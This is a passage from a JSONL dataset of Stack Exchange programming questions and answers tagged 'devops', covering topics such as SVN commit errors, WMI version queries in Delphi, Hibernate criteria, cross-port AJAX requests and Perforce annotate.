FullVersionString(const Item: OleVariant): string;\n  var\n    Caption, ServicePack, Version, Architecture: string;\n  begin\n    Caption := VarToString(Item.Caption);\n    ServicePack := VarToString(Item.CSDVersion);\n    Version := VarToString(Item.Version);\n    Architecture := ArchitectureDisplayName(SystemArchitecture);\n    Result := Caption;\n    if ServicePack <> '' then begin\n      Result := Result + ' ' + ServicePack;\n    end;\n    Result := Result + ', version ' + Version + ', ' + Architecture;\n  end;\n\nvar\n  objWMIService: OleVariant;\n  colItems: OleVariant;\n  Item: OleVariant;\n  oEnum: IEnumvariant;\n  iValue: LongWord;\n\nbegin\n  Try\n    objWMIService := GetWMIObject('winmgmts:\\\\localhost\\root\\cimv2');\n    colItems := objWMIService.ExecQuery('SELECT Caption, CSDVersion, Version FROM Win32_OperatingSystem', 'WQL', 0);\n    oEnum := IUnknown(colItems._NewEnum) as IEnumVariant;\n    if oEnum.Next(1, Item, iValue)=0 then begin\n      Result := FullVersionString(Item);\n      exit;\n    end;\n  Except\n    // yes, I know this is nasty, but come what may I want to use the fallback code below should the WMI code fail\n  End;\n\n  (* Fallback, relies on the deprecated function GetVersionEx, reports erroneous values\n     when manifest does not contain supportedOS matching the executing system *)\n  Result := TOSVersion.ToString;\nend;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.552326"}
{"id": "hf_14b73ee43ae5", "question": "<p>I recently upgraded to Subversion 1.5, and now I cannot commit my code to the repository. I get an error message: \"403 Forbidden in response to MKACTIVITY\". I know the upgrade worked because my fellow developers are not getting this issue. What's going on?</p>\n", "question_body": "", "answer": "Answering my own question:\nApparently my SVN URL had the wrong case! A Google search turned up an article (no longer available online) that explained what was going on. My URL was of the form\nhttp://svn.foobar.com/foobar\nbut the actual repository was called\nhttp://svn.foobar.com/fooBar\n.\nI use TortoiseSVN, so the fix was to use the Relocate command to correct the path to the repository.\nHopefully this will help someone else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.583577"}
{"id": "hf_93b27590bb19", "question": "<p>While creating classes in Java I often find myself creating instance-level collections that I know ahead of time will be very small - less than 10 items in the collection. But I don't know the number of items ahead of time so I typically opt for a dynamic collection (ArrayList, Vector, etc).</p>\n\n<pre><code>class Foo\n{\n  ArrayList&lt;Bar&gt; bars = new ArrayList&lt;Bar&gt;(10);\n}\n</code></pre>\n\n<p>A part of me keeps nagging at me that it's wasteful to use complex dynamic collections for something this small in size. Is there a better way of implementing something like this? Or is this the norm?</p>\n\n<p>Note, I'm not hit with any (noticeable) performance penalties or anything like that. This is just me wondering if there isn't a better way to do things.</p>\n", "question_body": "", "answer": "The overhead is very small. It is possible to write a hybrid array list that has fields for the first few items, and then falls back to using an array for longer list.\nYou can avoid the overhead of the list object entirely by using an array. To go even further hardcore, you can declare the field as Object, and avoid the array altogether for a single item.\nIf memory really is a problem, you might want to forget about using object instances at the low-level. Instead use a larger data structure at a larger level of granularity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.620472"}
{"id": "hf_eeae462c6269", "question": "<p>Here's the scenario. I'm using myopenid for, among other things, StackOverflow. When I initially set up my openid account with myopenid, I decided to try out Cardspace because they had support.</p>\n\n<p>I later wanted to access Stackoverflow from another machine so I chose to back up my card. I gave it a password and a filename and successfully created a backup file. I was also to able successfully import it to my laptop.</p>\n\n<p>Here is where the problem comes in - I am unable to use the card that I backed up from my laptop. The original card still works great on my desktop. Additional information is that my desktop is running Windows XP SP3 (x86) while my laptop is running Windows Vista (x64).</p>\n\n<p>Any ideas? Am I doing something wrong? I'm seriously considering dropping Cardspace on myopenid and moving to a password solution with them instead.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "It\nshould\nwork; however if you have 3.5SP1 on one machine and 3.5 or less on another there was an (unannounced) breaking change with the code to generate the unique ID from the card; which may explain why it doesn't work.\nI would try sending a test transaction to\nthe SharpSTS test page\nwith only the PPID as the claim, and examine the token sent back; if the PPIDs differ then that's your problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.657251"}
{"id": "hf_d3c3fb16bf2b", "question": "<p>I have two identical tables and need to copy rows from table to another. What is the best way to do that? (I need to programmatically copy just a few rows, I don't need to use the bulk copy utility).</p>\n", "question_body": "", "answer": "```\n```\nSELECT * INTO < new_table > FROM < existing_table > WHERE < clause >\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.681619"}
{"id": "hf_3483d8168497", "question": "<p>Has anyone had any luck of using Oracle from .Net on a 64 bit machine, and using the UDT capabilities of Oracle?</p>\n\n<p>I've been able to use an x64 ODP.Net client, but cannot find one with any support for UDTs.</p>\n\n<p>Thanks</p>\n\n<p>Nick</p>\n\n<p>[Edit]\nI've posted an answer below. The latest (as of December 2008) release is 11.1.0.7. This has support for 64 bit and UDT.</p>\n", "question_body": "", "answer": "UDT capability is only listed in 11g clients and the latest 64 bit client is 10.2.0.3.\nNot the answer you wanted, but the one that Oracle seems to be giving.\nActually I'm glad you asked this question.  We're working on migrating to 64 bit server code and I wouldn't have thought to check for this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.705897"}
{"id": "hf_d146fd8e75a4", "question": "<p>How do I get the history of commits that have been made to the repository for a particular user?  </p>\n\n<p>I am able to access CVS either through the command line or TortioseCVS, so a solution using either method is sufficient.</p>\n", "question_body": "", "answer": "```\n```\ncvs history -u username\n```\n```\ngives a history of changes the user has made", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.733537"}
{"id": "hf_9804caa543a0", "question": "<p>I have a Windows Form app with a TabControl. One of the TabPages in the TabControl contains a ToolStrip. Frequently, the Windows Form designer will spontaneously set the Visible property of the Toolstrip to False. To get the toolstrip to reappear in my form, I have to manually find the control and set the property back to True. It's really annoying.</p>\n\n<p>Does anyone know why this happens, or how to stop it? I've tried setting the minimum height of the control to a non-zero value, but that has no effect.</p>\n\n<p>I'm using VS2008, VB.NET and the .Net framework 2.0, however I've struggled with this problem in VS2005 too, in several different applications.</p>\n", "question_body": "", "answer": "I may have found a workaround for this.\nMy ToolStrip was placed directly on the TabPage, docked to Top. However, I found\na thread on Microsoft Connect\nthat described the same problem when the ToolStrip was in a ToolStripContainer on the TabPage. That problem was observed in a release candidate of VS2005, but supposedly fixed by Microsoft in September 2006.\nAs such, I changed my code to put the ToolStrip inside a ToolStripContainer, and now I am unable to reproduce the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.782468"}
{"id": "hf_5e4e0ef10bc7", "question": "<p>When I'm creating a user for my web application, an SMTP email (using ASP.NET's SmtpClient) is sent to the user with the\nautomatically generated password. However, sometimes what I notice is that it times out and the new user simply won't receive the email with the password.</p>\n\n<p>Alright, so I'll display a message indicating that the mail did not go through but the user is created.</p>\n\n<p>Therefore, the sys admin has 2 options so far:</p>\n\n<ol>\n<li>Reset the password for the user and hope another SMTP mail is sent with the auto-generated password.</li>\n<li>Delete and recreate the user.</li>\n</ol>\n\n<p>I could rollback the user creation if the smtp is not sent but what is the best practice to tackle this problem?</p>\n\n<p>I'm thinking that I should retry sending the email 3 times with a timeout period of 5 seconds each. So 15 seconds would be the worse case scenario.</p>\n\n<p>Is this the way to go?</p>\n", "question_body": "", "answer": "Well, depending on your platform, if you can just hand off your mail to a local MTA, it should handle the retries and such.  Your program can just queue the mail and move on, not worry about dealing with timeouts and graylists etc.\nIf the message still can't be delivered, you could always try resending it (via a password reset feature).  If that fails as well, most likely there was a mistake in the email address, and I would suggest deleting the account, causing the user to re-register.\nThis, of course, might not be possible on some systems, depending what can be done with an unconfirmed user - that really depends on what you allow people to do before their email is validated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.868727"}
{"id": "hf_27174a2b54f2", "question": "<p>I have seen <a href=\"https://stackoverflow.com/questions/4046/can-someone-give-me-a-working-example-of-a-buildxml-for-an-ear-that-deploys-in\">this question</a> about deploying to WebSphere using the WAS ant tasks.</p>\n\n<p>Is there a simpler way to do this?  In the past I have deployed to Tomcat by dropping a war file into a directory.  I was hoping there would be a similar mechanism for WebSphere that doesn't involve calling the IBM libraries or rely on RAD to be installed on your workstation.</p>\n", "question_body": "", "answer": "One way to do it could be using\nJython or jacl scripts\n. See those samples at IBM site.\n[EDIT]\nEspecially the\n```\nwsadminlib.py.zip\n```\ndownload near the bottom of the page contains a huge set of examples and helper functions to get you started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.904988"}
{"id": "hf_3a42ea189fc6", "question": "<p>What could the best strategy for writing validation layer for mid-enterprise level business application built on Spring 2.5</p>\n\n<p>I know that Spring provides facility where we can implement Validator interface and write validation logic in validate method. But this will be restricted to only web requests coming through spring controller.</p>\n\n<p>I would like to develop the validation framework which can be utilized during web-services calls.</p>\n\n<p>In other words, the framework can remain and be called independently without the need of implementing Validator interface and then too it can be automatically integrated into Spring MVC flow.</p>\n\n<p>Hope you get my point.</p>\n", "question_body": "", "answer": "The Spring Validation framework can be used outside of Spring MVC. What WebServices Stack are you using? If you are using Spring-WS (Spring's Web Services stack) they have special instructions on how to set up the validator here:\nhttp://static.springframework.org/spring-ws/sites/1.5/reference/html/server.html#d0e2313\nIf you are using some other stack, it is probably easier to implement something for that stack (or find one) that will use Spring's validation framework.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.929725"}
{"id": "hf_3e3716fd354d", "question": "<p>I am forced to use VSS at work, but use SVN for a personal repository.  What is the best way to sync between VSS and sync?</p>\n", "question_body": "", "answer": "What I have done in the past is as follows:\nMake sure all my changes are committed to svn://trunk\nDo a get latest from VSS into my working copy.\nManually merge the changes in my working copy.\nCommit the merged code into the svn://trunk\nDo a VSS diff and checkout any files with differences (without overwriting files)\nCheck in those files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.003291"}
{"id": "hf_821a3781f4d7", "question": "<p>I am calling, through reflection, a method which may cause an exception. How can I pass the exception to my caller without the wrapper reflection puts around it?<br>\nI am rethrowing the InnerException, but this destroys the stack trace.<br>\nExample code:</p>\n\n<pre><code>public void test1()\n{\n    // Throw an exception for testing purposes\n    throw new ArgumentException(\"test1\");\n}\n\nvoid test2()\n{\n    try\n    {\n        MethodInfo mi = typeof(Program).GetMethod(\"test1\");\n        mi.Invoke(this, null);\n    }\n    catch (TargetInvocationException tiex)\n    {\n        // Throw the new exception\n        throw tiex.InnerException;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "I think your best bet would be to just put this in your catch block:\n```\n```\nthrow;\n```\n```\nAnd then extract the innerexception later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.052391"}
{"id": "hf_222a6a187866", "question": "<p>I would like to make an ajax call to a different server (same domain and box, just a different port.)\ne.g.</p>\n\n<p>My page is</p>\n\n<pre>\nhttp://localhost/index.html\n</pre>\n\n<p>I would like to make a ajax get request to:</p>\n\n<pre>\nhttp://localhost:7076/?word=foo\n</pre>\n\n<p>I am getting this error:</p>\n\n<pre>\nAccess to restricted URI denied (NS_ERROR_DOM_BAD_URI) \n</pre>\n\n<p>I know that you can not make an ajax request to a different domain, but it seem this also included different ports? are there any workarounds?</p>\n", "question_body": "", "answer": "Have a certain page on your port 80 server proxy requests to the other port. For example:\n```\n```\nhttp://localhost/proxy?port=7076&url=%2f%3fword%3dfoo\n```\n```\nNote the url encoding on the last query string argument value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.126571"}
{"id": "hf_65bf981155ee", "question": "<p>I'd like to use the camera in my Macbook in a program. I'm fairly language agnostic - C, Java, Python etc are all fine. Could anyone suggest the best place to look for documents or \"Hello world\" type code?</p>\n", "question_body": "", "answer": "The ImageKit framework in Leopard has an\n```\nIKPictureTaker\n```\nclass that will let you run the standard picture-taking sheet or panel that you seen in iChat and other applications.\nIf you don't want to use the standard picture-taker panel/sheet interface, you an use the\nQTKit Capture\nfunctionality to get an image from the iSight.\nBoth of these will require writing some Cocoa code in Objective-C, but that shouldn't really be an obstacle these days.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.150776"}
{"id": "hf_ae6bd20be1c5", "question": "<p>No, this is not a question about generics.</p>\n\n<p>I have a Factory pattern with several classes with internal constructors (I don't want them being instantiated if not through the factory).</p>\n\n<p>My problem is that <code>CreateInstance</code> fails with a \"No parameterless constructor defined for this object\" error unless I pass \"true\" on the non-public parameter.</p>\n\n<p>Example</p>\n\n<pre><code>// Fails\nActivator.CreateInstance(type);\n\n// Works\nActivator.CreateInstance(type, true);\n</code></pre>\n\n<p>I wanted to make the factory generic to make it a little simpler, like this:</p>\n\n<pre><code>public class GenericFactory&lt;T&gt; where T : MyAbstractType\n{\n    public static T GetInstance()\n    {\n        return Activator.CreateInstance&lt;T&gt;();\n    }\n}\n</code></pre>\n\n<p>However, I was unable to find how to pass that \"true\" parameter for it to accept non-public constructors (internal).</p>\n\n<p>Did I miss something or it isn't possible?</p>\n", "question_body": "", "answer": "To get around this, couldnt you just alter your usage as such:\n```\n```\npublic class GenericFactory<T> where T : MyAbstractType\n{\n    public static T GetInstance()\n    {\n        return Activator.CreateInstance(typeof(T), true);\n    }\n}\n```\n```\nYour factory method will still be generic, but the call to the activator will not use the generic overload. But you should still achieve the same results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.174750"}
{"id": "hf_bdbea41f6442", "question": "<p>I'm working on a big .NET 1.1 project, and there exists a wish to upgrade this, majorily to be able to use better tools like Visual Studio 2008, but also because of the new features and smaller amount of bugs in the .NET 2.0 framework.</p>\n\n<p>The project consist for the bigger part of VB.NET, but there are also parts in C#. It is a Windows Forms application, using various third party controls. Using .NET remoting the rich client talks to a server process which interfaces with a MSSQL 2000 database.</p>\n\n<p>What kind of issues can we expect in case we decide to perform the upgrade?</p>\n", "question_body": "", "answer": "Nothing, really.  You'll find a couple warnings on compilation about obsolete methods, but often those are trivial to fix.\nYou should shoot big and go for 3.5.  The water is niiiiiiice in here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.199095"}
{"id": "hf_0e615a50445d", "question": "<p>I am currently working on a project that is moving from .NET 2.0 to 3.5 across the board.</p>\n\n<p>I am well aware that 3.5 is basically a set of added functionality (libraries, if you will) on top of what 2.0 offers.</p>\n\n<p>Are there any gotchas that I might hit by simply re-targeting the compiler to 3.5?</p>\n", "question_body": "", "answer": "Nope\n3.5 is completely compatible with 2.0, not the other way around of course", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.223581"}
{"id": "hf_f87638f8c21f", "question": "<p>Is there an equivalent of svn's blame for Perforce on the command line? <code>p4 annotate</code> doesn't display usernames -- only changeset numbers (without ancestor history!).</p>\n\n<p>I currently have to track code back through ancestors and compare against the filelog, and there just has to be an easier way -- maybe a F/OSS utility?</p>\n", "question_body": "", "answer": "I'm not overly familiar with the blame command, but I assume that you are looking for who changes a particular line of code.  The easiest way is to use Perforce's 'time lapse view' available from both p4win and p4v.\nThis tool uses annotate and some other commands to give you a view of the code line over time.  You can see who modified what code, when it was inserted or removed from the codeline, etc.\nIt's not command line though.  I checked briefly in the help and there doesnt' seem to be a way to launch the time lapse view directly from a p4win or p4v invocation.  There might be though...I'll be checking further...\nEdit:  I checked with support, and you can launch the timelapse view through p4v as follows:\n```\n```\np4v.exe -cmd \"annotate //<path/to/file>\"\n```\n```\nHTH.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.247318"}
{"id": "hf_78aebe76893a", "question": "<p>Looking for a good approach to keep track of a Breadth-First traversal between two nodes, without knowing anything about the graph. Versus Depth-First (where you can throw away the path if it doesn't pan out) you may have quite a few \"open\" possibilities during the traversal.</p>\n", "question_body": "", "answer": "The naive approach is to build a tree with the source node as the root and all its connections as its children. Depending on the amount of space you have, you might need to eliminate cycles as you go. You can do that with a bitmap where each bit corresponds to a distinct node in the graph. When you reach the target node, you can follow the parent links back to the root and that is your path. Since you are going breadth first, you are assured that it is a shortest path even if you don't eliminate cycles.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.271759"}
{"id": "hf_9159e83313ed", "question": "<p>What is the difference between a pointer variable and a reference variable?</p>\n", "question_body": "", "answer": "Apart from syntactic sugar, a reference is a\n```\nconst\n```\npointer (\nnot\npointer to a\n```\nconst\n```\n). You must establish what it refers to when you declare the reference variable, and you cannot change it later.\nUpdate: now that I think about it some more, there is an important difference.\nA const pointer's target can be replaced by taking its address and using a const cast.\nA reference's target cannot be replaced in any way short of UB.\nThis should permit the compiler to do more optimization on a reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.308625"}
{"id": "hf_9f6bf5121bbe", "question": "<p>I'm trying to do a basic \"OR\" on three fields using a hibernate criteria query.</p>\n\n<p>Example</p>\n\n<pre><code>class Whatever{\n string name;\n string address;\n string phoneNumber;\n}\n</code></pre>\n\n<p>I'd like to build a criteria query where my search string could match \"name\" or \"address\" or \"phoneNumber\".</p>\n", "question_body": "", "answer": "You want to use\n```\nRestrictions.disjuntion()\n```\n. Like so\n```\n```\nsession.createCriteria(Whatever.class)\n    .add(Restrictions.disjunction()\n        .add(Restrictions.eq(\"name\", queryString))\n        .add(Restrictions.eq(\"address\", queryString))\n        .add(Restrictions.eq(\"phoneNumber\", queryString))\n    );\n```\n```\nSee the Hibernate doc\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.332722"}
{"id": "hf_15667be690ab", "question": "<p>Does anyone know of a way to declare a date constant that is compatible with international dates?</p>\n\n<p>I've tried:</p>\n\n<pre><code>' not international compatible\npublic const ADate as Date = #12/31/04#\n\n' breaking change if you have an optional parameter that defaults to this value\n' because it isnt constant.\npublic shared readonly ADate As New Date(12, 31, 04)\n</code></pre>\n", "question_body": "", "answer": "OK, I am unsure what you are trying to do here:\nThe code you are posting is\nNOT\n.NET, are you trying to port?\nDateTime's cannot be declared as constants.\nDateTime's are a data type, so once init'ed, the format that they were init'ed from is irrelevant.\nIf you need a constant value, then just create a method to always return the same DateTime.\nFor example:\n```\n```\npublic static DateTime SadDayForAll()\n{\n    return new DateTime(2001, 09, 11);\n}\n```\n```\nUpdate\nWhere the hell are you getting all that from?!\nThere\nare\ndifferences between C# and VB.NET, and this highlights one of them.\nDate\nis not a\n.NET data type\n-\nDateTime\nis.\nIt looks like you can create DateTime constants in VB.NET but there are limitations\nThe method was there to try and help you, since you cannot create a const from a\nvariable\n(i.e. optional param). That doesn't even make sense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.356271"}
{"id": "hf_2778e0ce0c69", "question": "<p>For those of you familiar with <a href=\"http://www.gallio.org\" rel=\"noreferrer\">Gallio</a>, what Advantages and Disadvantages have you experienced using this tool, a so-called Test Automation Platform?</p>\n", "question_body": "", "answer": "On the advantages front, integration with everything is quite nice :)  Seriously, I'm a huge fan of the experimental integration with Visual Studio Team System (screenshots\nhere\n). I think that really lowers the bar for those new to unit testing.\nThe only disadvantage from my perspective\nso far\nis the fact that it isn't released yet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.408155"}
{"id": "hf_b1db822e970a", "question": "<p>Is it possible for <code>SelectNodes()</code> called on an <code>XmlDocument</code> to return null?</p>\n\n<p>My predicament is that I am trying to reach 100% unit test code coverage; ReSharper tells me that I need to guard against a null return from the <code>SelectNodes()</code> method, but I can see no way that an XmlDocument can return null (and therefore, no way to test my guard clause and reach 100% unit test coverage!)</p>\n", "question_body": "", "answer": "Is it necessary to reach 100% code coverage? Indeed, is it even possible under normal (i.e. controllable, testable) circumstances?\nWe often find that using \"syntactic sugar\" constructions like the\n```\nusing {}\n```\nblock, there are \"hidden\" code paths created (most likely\n```\nfinally {}\n```\nor\n```\ncatch {}\n```\nblocks) that can't be exercised unless some environmental condition (like a broken socket or broken disk) gets in the way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.431823"}
{"id": "hf_5cc8a0b97a21", "question": "<p>I'm a bit confused here.  Microsoft as far as I can tell claims that parametrization is the best way to protect your database from SQL injection attacks.  But I find two conflicting sources of information here:</p>\n\n<p><a href=\"http://support.microsoft.com/kb/200190\" rel=\"nofollow noreferrer\">This page</a> says to use the ADO command object.  But <a href=\"http://msdn.microsoft.com/en-us/library/ms679836(VS.85).aspx\" rel=\"nofollow noreferrer\">this page</a> says that the command object isn't safe for scripting.  I seem to recall reading somewhere that the command object shouldn't be used in VBScript or JScript because of security vulnerabilities, but I can't seem to find that article.</p>\n\n<p>Am I missing something here, or do those two articles seem to contradict each other?</p>\n", "question_body": "", "answer": "I could be wrong here, but I think this just means that someone could use the Command object to do bad things.  I.e. it's not to be trusted if someone else is scripting it.\nSee\nsafe for scripting\nin this article.  Every instance that talks about this phrase online, references it as if you are marking an ActiveX control saying \"This control does no I/O or only talks back to the server that it came from\" but the Command object doesn't do that.  It can be used to do a lot of things which could be unsafe.\nThe \"safe\" they are talking about and the \"safe\" to prevent from SQL injection are two different things.  The article about using the ADO Command object to parametrize your data is spot on.  You should do that.\nAnd, Microsoft further confirms this here:\nhttp://msdn.microsoft.com/en-us/library/ms676585(v=VS.85).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.467765"}
{"id": "hf_76a1c4e64146", "question": "<p>In my Servlet I would like to access the root of the context so that I can do some JavaScript minifying.</p>\n\n<p>It would be possible to do the minify as part of the install process but I would like to do it on Servlet startup to reduce the implementation cost.</p>\n\n<p>Does anyone know of a method for getting the context directory so that I can load and write files to disk?</p>\n", "question_body": "", "answer": "Do you mean:\n```\n```\npublic class MyServlet extends HttpServlet {\n\n    public void init(final ServletConfig config) {\n        final String context = config.getServletContext();\n        ...\n    }\n\n    ...\n}\n```\n```\nOr something more complex?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.504693"}
{"id": "hf_4963dd723f99", "question": "<p>Ok, so I got my extender working on a default.aspx page on my website and it looks good.  I basically copied and pasted the code for it into a user control control.ascx page.  When I do this I completely loose the functionality (just shows the target control label and no dropdown, even upon hover).  Is there any reason why it doesn't work in a custom user control inside a masterpage setup?</p>\n\n<p>Edit:\nDidn't quite do the trick.  Any other suggestions?\nIts in a master page setup, using eo web tabs (I tried it inside the tabs and outside the tabs but on the same page as the tabs, to no avail), and its in a custom user control.  Think there are dependency issues?</p>\n", "question_body": "", "answer": "Check the DocType.  Here is what I have found useful\n```\n```\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\" >\n```\n```\nPlace this in your user control (or the page that uses it) and all should be well.  I had a similar problem with a collapsible extender and this worked for me.\nEdit: Here is a\nlink\nto my question for further details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.569052"}
{"id": "hf_cf51208da6cc", "question": "<p>What's the best way in c# to determine is a given QFE/patch has been installed?</p>\n", "question_body": "", "answer": "The most reliable way is to determine which files are impacted by the QFE and use\n```\nSystem.Diagnostics.FileVersionInfo.GetVersionInfo(path)\n```\non each file and compare the version numbers.\nedit: I think there's a way to check the uninstall information in the registry as well, but if the QFE ever becomes part of a Service Pack or rollup package that might report false negatives", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.593165"}
{"id": "hf_91a4f4461844", "question": "<p>I get this error on an update panel within a popupControlExtender which is within a dragPanelExtender.</p>\n\n<p>I see that a lot of other people have this issue and have various fixes none of which have worked for me.</p>\n\n<p>I would love to hear a logical explanation for why this is occurring and a foolproof way to avoid such issues in the future.</p>\n\n<p>I have found that like others maintain this error does not occur when the trigger is a LinkButton rather than an ImageButton, still wondering if anyone has an explanation.</p>\n", "question_body": "", "answer": "My best guess is that the UpdatePanel is not able to write out the custom \"async\" property to the postback request properly. This is likely due to blocking from one of the controls wrapping it (my gut feeling is that it's the popupControlExtender - it tends to have odd behavior with updatepanels, as it is intended to manage the events inside it for it's show/hide purposes).\nI would recommend either removing the updatepanel and rolling your own solution for your specific business need for having it there, or implementing your own popup script (probably slightly easier to write).\nIncidentally, for some background, the \"this._postbackSettings.async\" is your AJAX.NET framework trying to figure out whether this is an async call or not. You might be able to overcome it by setting this programaticly before the postback is sent (catch the postback event and add the field to the postback request if it is not already there).\nJust some thoughts...I do not believe there is a \"plug and play\" answer for this one!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, 